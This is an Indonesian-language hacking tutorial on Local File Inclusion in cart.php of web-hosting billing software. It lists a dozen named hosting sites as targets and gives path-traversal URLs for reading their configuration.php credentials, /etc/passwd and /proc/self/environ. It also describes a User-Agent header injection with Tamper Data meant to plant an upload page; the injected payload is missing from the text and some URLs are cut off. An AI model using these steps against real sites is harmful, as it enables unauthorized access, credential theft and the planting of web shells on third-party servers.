kalo yg belum saya akan menjelaskan sedikit apa itu LFI .
LFI a.k.a Local File Inclusion adalah sebuah bug atau letak kesalahan dimana kita bisa mengetahui konfigurasi system hanya dengan melalui URL, dan bisa dimanfaatkan untuk bisa mengakses Web target kita.
Oke langsung saja kita bahas sama sama :
1. Google Dork, dorknya sama kaya yang submitticket hanya rubah ja nanti dengan exploitnya.
2. Example :
http://www.hosting.joomi.co.il/cart.php
http://www.hosty.nl/cart.php
http://mijn.h5hosting.nl/cart.php
http://www.tele-asia.net/billing/cart.php
http://test.idcbest.hk/cart.php
http://client.mousenet.net/cart.php
http://hostxweb.com/client/cart.php
http://customer.leohost.net/cart.php
http://area-clienti.cambali.it/cart.php
http://billing.edom.hu/cart.php
http://xtremehost.herobo.com/cart.php
http://www.nethosting.freeiz.com/clientes/cart.php
Di atas kita hanya memanfaatkan memalui cart.php atau bisa juga dengan yg lain nya , yg memiliki kerentanan.
3. Kemudian masukkan exploit LFI :
cart.php?a=vicky-cyber&templatefile=../../../configuration.php
Sehingga misalnya kita contohkan seperti ini, :
http://www.nethosting.freeiz.com/clientes/cart.php?a=vicky-cyber&templatefile=../../../configuration.php
4. Liat Source Web tersebut dengan menekan Ctrl+u atau bisa juga klick kanan View Page Source, scroll kebawah dan lihat disana ada configuration webnya :D. asikk
Bagaimana cara mengoneksikanya?? :
5.Ada beberapa cara untuk mengkonekan Configuration tersebut :
Anda tidak bisa mengkonekan sembarangan dengan port default, tentunya kita harus mengetahui port yang terbuka terlebih dahulu, untuk bisa mengakses semua Filenya, ada beberapa cara juga untuk mengecek portnya, diantaranya bisa menggunakannmap bisa juga memakai port scanner yg ada di shell :D.
Ada Cara kedua selain mengkonekan dengan cara tersebut.
Caranya dengan menggunakan tamper data.
1. Install Dulu addons tamper data yg ada di mozilla
2. Setelah di install , kita cek /etc/passwdnya :
http://www.nethosting.freeiz.com/clientes/cart.php?a=Vicky-Cyber&templatefile=../../../../../../../../../../
Kalo muncul , otomatis /proc/self/environ nya pun muncul, kita lihat muncul tidak :
http://www.nethosting.freeiz.com/clientes/cart.php?a=Vicky-Cyber&templatefile=../../../../../../../proc/self/
3. Kemudian buka tamper lalu refresh , Klik tamper.. jangan Submit ataupun Cancel pastinya ;)
Disitu ada kolom User Agent, hapus tulisan yang Mozilla blablabla lalu ganti dengan :
Lalu ok, setelah proses tamper selsai, lalu kita cek apakah muncul tempat upload ??
http://www.nethosting.freeiz.com/clientes/downloads/indexx.php
/downloads/indexx.php << adalah path yang ada di exploit tersebut.
Gunakan Cara ini dengan bijak,, Jangan sampai di salah gunakan,, ;)
